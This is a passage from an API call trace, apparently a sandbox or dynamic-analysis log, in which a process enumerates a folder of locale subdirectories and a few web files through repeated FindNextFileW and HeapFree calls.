	[0091.760] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.760] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1
	[0091.760] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.760] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0091.760] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.761] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1
	[0091.761] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.761] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0091.761] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.761] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1
	[0091.761] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.761] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0091.762] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.762] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1
	[0091.762] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.762] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0091.762] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.762] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1
	[0091.762] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.763] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1
	[0091.763] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.763] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0091.763] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.763] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0091.763] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.763] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0091.764] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.764] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0091.764] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.764] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0091.764] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.764] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0091.764] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.764] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0091.765] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.765] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1
	[0091.765] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.765] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0091.765] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.765] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0091.765] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.765] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1
	[0091.766] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.766] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0091.766] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.766] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1
	[0091.766] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.766] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0091.766] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.766] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1
	[0091.767] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.767] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0091.767] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.767] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0091.767] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.767] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0091.767] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.767] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0091.768] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.768] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0091.768] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.768] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0091.768] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.768] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0091.768] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.768] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0091.769] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.769] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0091.769] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.769] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0091.769] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.769] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0091.769] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.769] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0091.770] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.770] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0091.770] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.770] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1
	[0091.770] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
